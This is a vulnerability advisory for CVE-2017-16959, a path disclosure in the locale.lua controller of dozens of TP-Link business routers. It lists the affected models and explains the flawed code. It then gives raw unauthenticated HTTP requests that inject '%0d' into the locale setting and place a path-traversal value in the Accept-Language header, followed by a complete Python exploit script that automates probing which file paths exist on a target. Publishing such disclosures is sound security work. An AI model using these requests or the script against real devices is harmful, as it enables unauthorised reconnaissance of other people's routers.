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Wireless-Router-Vulnerability/TplinkLocalePathDisclosure.txt
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| CVE-2017-16959 | |
| [Vulnerability]: | |
| Path Disclosure in locale.lua | |
| ------------------------------------------ | |
| [Exploitation]: | |
| Can be used to verify whether a path exists on the file system. | |
| ------------------------------------------ | |
| [Vendor of Product]: | |
| Tp-Link router | |
| ------------------------------------------ | |
| [Affected Products and firmware version]: | |
| Tp-Link TL-WVR300 (Only hardware version v4) | |
| Tp-Link TL-WVR302 (only hardware version v2) | |
| Tp-Link TL-WVR450 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR450L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR450G (Only hardware version v5) | |
| Tp-Link TL-WVR458 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR458L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR458P (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR900G (Only hardware version v3) | |
| Tp-Link TL-WVR900L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1200L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1300L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1300G (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR1750L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR2600L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WVR4300L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR302 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR450 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR450L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR458 (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR458L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR900L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR1200L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR1300L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR1750L (ALL the hardware version and firmware version) | |
| Tp-Link TL-WAR2600L (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER3210G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER3220G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER5110G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER5120G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER5510G (Only hardware version v2,v3) | |
| Tp-Link TL-ER5520G (Only hardware version v2,v3) | |
| Tp-Link TL-ER6110G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER6120G (Only hardware version v2) | |
| Tp-Link TL-ER6220G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER6510G (ALL the hardware version and firmware version) | |
| Tp-Link TL-ER6520G (Only hardware version v2,v3) | |
| Tp-Link TL-ER7520G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R473 (only hardware version v5) | |
| Tp-Link TL-R473G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R473P-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R473GP-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R478 (only hardware version v6) | |
| Tp-Link TL-R478+ (only hardware version v7) | |
| Tp-Link TL-R478G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R478G+ (only hardware version v3) | |
| Tp-Link TL-R479P-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R479GP-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R479GPE-AC (ALL the hardware version and firmware version) | |
| Tp-Link TL-R483 (only hardware version v5) | |
| Tp-Link TL-R483G (only hardware version v2) | |
| Tp-Link TL-R488 (Only hardware version v5) | |
| Tp-Link TL-R4149G (ALL the hardware version and firmware version) | |
| Tp-Link TL-R4239G (Only hardware version v2) | |
| Tp-Link TL-R4299G (Only hardware version v2) | |
| ------------------------------------------ | |
| [Attack Type]: | |
| Remote | |
| ------------------------------------------ | |
| [Reference]: | |
| http://service.tp-link.com.cn/download/201612/TL-WVR450L%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620161125.zip (Official firmware for TL-WVR450L) | |
| http://www.tp-link.com.cn/product_listsmb_2008_26_00_01_02_03_04.html | |
| http://www.tp-link.com.cn/product_listsmb_2022_9_00_01_02_03.html | |
| http://www.tp-link.com.cn/product_listsmb_2023_7_00_01_02.html | |
| ------------------------------------------ | |
| [Discoverer]: | |
| Tianfeng Guan, Sichuan Silent Information Technology Co.,Ltd ,http://www.silence.com.cn/ | |
| ------------------------------------------ | |
| [Affected components]: | |
| Affected executable application: uhttpd | |
| Affected source code file: /usr/lib/lua/luci/controller/locale.lua | |
| Affected function: set_sysinfo(formvals) and get_sysinfo(formvals) | |
| ------------------------------------------ | |
| [Vulnerability details]: | |
| When accessing the locale.lua through the web manager(uhttpd), | |
| we can set the option "locale" in the config file /etc/config/locale by the controller function set_sysinfo(formvals), | |
| and we can also read the content of the config file /etc/config/locale by the controller function get_sysinfo(formvals). | |
| But when we post to locale.lua to set the option "locale" with the post data 'operation=write;locale=%0d', it can not handle the '%0d', | |
| and as the result, the line about the option locale in the /etc/config/locale will disappear. | |
| # cat /etc/config/locale | |
| config global 'sysinfo' | |
| option force 'false' | |
| option default 'zh_CN' | |
| option model 'TL-WVR1300G' | |
| option region 'China' | |
| option lang 'chinese' | |
| option locale 'en_US' | |
| | | |
| | | |
| V | |
| # cat /etc/config/locale | |
| config global 'sysinfo' | |
| option force 'false' | |
| option default 'zh_CN' | |
| option model 'TL-WVR1300G' | |
| option region 'China' | |
| option lang 'chinese' | |
| And When we post to locale.lua to read the content of the config file /etc/config/locale with the post data 'operation=read', | |
| the controller function get_sysinfo(formvals) will check the option "locale" in the config file /etc/config/locale whether exists at first, | |
| if the option "locale" not exists, it will use the Accept-Language in the http post headers to verify whether the language file exists. | |
| function get_sysinfo(formvals) | |
| ...... | |
| local locale = uci_r:get(LOCALECFG, "sysinfo", "locale") -- Get the option "locale" line in the config file /etc/config/locale. | |
| if locale then -- if the option "locale" exists | |
| data.locale = locale | |
| else -- if the option "locale" not exists | |
| local web_lang = luci.http.getenv("HTTP_ACCEPT_LANGUAGE") or "" | |
| local pos = web_lang:find(",") or 1 | |
| web_lang = web_lang:sub(1, pos - 1) | |
| -- Check whether the language package is existed. | |
| if web_lang and web_lang ~= "" then | |
| local lang = web_lang:gsub('-', '_') | |
| local file_path = "/www/webpages/locale/" .. lang .. "/lan.js" | |
| if nixio.fs.stat(file_path) then | |
| data.locale = lang | |
| end | |
| end | |
| uci_r:set(LOCALECFG, "sysinfo", "locale", data.locale) | |
| uci_r:commit(LOCALECFG) | |
| end | |
| return data | |
| end | |
| So, you can see when the option "locale" not exists , it doesn't have a correct check and limit to the Accept-Language in the http post headers, and it will use the nixio.fs.stat(file_path) to verify the file_path whether exists and the file_path include the value of Accept-Language in the http post headers. | |
| ------------------------------------------ | |
| [Exploitation details]: | |
| It doesn't requires any authentication to access the locale.lua. | |
| We can use this Path Disclosure vulnerability to verify whether a path exists on the file system. | |
| For example, we can send a http post request to delete the option line about "locale" in the /etc/config/locale like: | |
| POST /cgi-bin/luci/;stok=/locale?form=lang HTTP/1.1 | |
| Host: 192.168.3.1 | |
| Content-Length: 26 | |
| Accept: application/json, text/javascript, */*; q=0.01 | |
| Origin: http://192.168.3.1 | |
| X-Requested-With: XMLHttpRequest | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 | |
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | |
| Referer: http://192.168.3.1/webpages/login.html | |
| Accept-Encoding: gzip, deflate | |
| Accept-Language: zh-CN,zh;q=0.8 | |
| Connection: close | |
| operation=write;locale=%0d | |
| And then ,we can send a http post request like: | |
| POST /cgi-bin/luci/;stok=/locale?form=lang HTTP/1.1 | |
| Host: 192.168.3.1 | |
| Content-Length: 14 | |
| Accept: application/json, text/javascript, */*; q=0.01 | |
| Origin: http://192.168.3.1 | |
| X-Requested-With: XMLHttpRequest | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 | |
| Content-Type: application/x-www-form-urlencoded; charset=UTF-8 | |
| Referer: http://192.168.3.1/webpages/login.html | |
| Accept-Encoding: gzip, deflate | |
| Accept-Language: ../../../etc/config/../../www/webpages/locale/en_US,zh;q=0.8 | |
| Connection: close | |
| operation=read | |
| Finally, if the router respond like: | |
| HTTP/1.1 200 OK | |
| Connection: close | |
| Content-Type: text/html | |
| Cache-Control: no-cache | |
| Expires: 0 | |
| Content-Length: 159 | |
| { "id":1, "result":{ "locale":"../../../etc/config/../../www/webpages/locale/en_US/", "force":false, "radio":1, "model":"TL-WVR450L v1.0" }, "error_code":"0" } | |
| It can confirm the path '/etc/config/' is existent. | |
| ------------------------------------------ | |
| [exp.py]: | |
| # Tested product: TL-WVR450L | |
| # Hardware version:V1.0 | |
| # Firmware version: 20161125 | |
| import requests | |
| import json | |
| import urllib | |
| def execute(ip, port, directory): | |
| try: | |
| s = requests.session() | |
| counts = directory.count('/') | |
| directory = '../../..{}'.format(directory) + '/'+ '../'*counts + 'www/webpages/locale/en_US' | |
| uri = "http://{}:{}".format(ip,port) | |
| headers = { | |
| 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', | |
| 'Referer': 'http://{}/webpages/login.html'.format(ip) | |
| } | |
| ret = s.post(uri + '/cgi-bin/luci/;stok=/locale?form=lang', data='operation=write;locale=%0d', headers=headers, timeout=5) | |
| print ret.text | |
| headers = { | |
| 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', | |
| 'Referer': 'http://{}/webpages/login.html'.format(ip), | |
| 'Accept-Language':'{},zh;q=0.8'.format(directory) | |
| } | |
| ret = s.post(uri + '/cgi-bin/luci/;stok=/locale?form=lang', data='operation=read', headers=headers, timeout=5) | |
| print ret.text | |
| print '[+] Finish Information Disclosure' | |
| print '---------------------------------------------------------------' | |
| if directory == json.loads(ret.text)['result']['locale']: | |
| print '[+] The path is existent!' | |
| return True | |
| else: | |
| print '[-] The path is not existent!' | |
| return False | |
| except: | |
| return False | |
| if __name__=='__main__': | |
| print '-----------Tplink LUCI Locale Path Disclosure-----------' | |
| print execute('192.168.1.1', 80, '/etc/config') |